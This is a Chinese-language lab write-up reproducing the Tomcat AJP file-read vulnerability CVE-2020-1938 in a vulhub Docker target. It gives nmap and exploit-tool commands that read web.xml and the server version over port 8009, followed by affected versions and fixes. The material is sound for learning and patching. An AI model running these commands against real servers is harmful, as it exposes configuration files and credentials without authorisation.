漏洞原理
Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,其安装后会默认开启ajp连接器,方便与其他web服务器通过ajp协议进行交互。
环境搭建
靶机 kali2020 ,使用docker容器,进入vulhub-master/tomcat/CVE-2020-1938目录下一键启动
sudo docker-compose up -d
web访问启动地址,成功获取web页面,服务启动成功
漏洞复现
使用nmap扫描端口
nmap 192.168.177.137
成功读取web.xml文件内容
工具地址:
https://github.com/0nise/CVE-2020-1938
java -jar 1.jar 192.168.177.137 8009 file /WEB-INF/web.xml //使用java工具读取
或者使用python脚本检测:
https://github.com/hypn0s/AJPy
读取Tomcat版本
python2 tomcat.py version 192.168.177.137
读取web.xml文件内容
python2 tomcat.py read_file --webapp=manager /WEB-INF/web.xml 192.168.177.137
漏洞复现是流量显示,服务器返回信息:
漏洞修复
影响版本
Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.51
Apache Tomcat 9 < 9.0.31
修复建议
1、禁用AIP协议端口,在conf/server.xml配置文件中注释掉<Connector port="8009" protocol="AJP/1.3"redirectPort="8443"/>;
2、升级最新版本;
3、Tomcat 7和Tomcat 9可为AJP Connector配置secret来设置AJP协议的认证凭证;
4、Tomcat 8的可为AJP Connector配置requiredSecret来设置AJP协议的认证凭证。
参考链接
http://www.bubuko.com/infodetail-3432049.html
https://www.cnblogs.com/renhaoblog/p/13033734.html
https://www.jianshu.com/p/f3e4b5896edb
https://xz.aliyun.com/t/7325
https://www.freebuf.com/vuls/228108.html
免责声明
严禁读者利用以上介绍知识点对网站进行非法操作 , 本文仅用于技术交流和学习 , 如果您利用文章中介绍的知识对他人造成损失 , 后果由您自行承担 , 如果您不能同意该约定 , 请您务必不要阅读该文章 , 感谢您的配合 !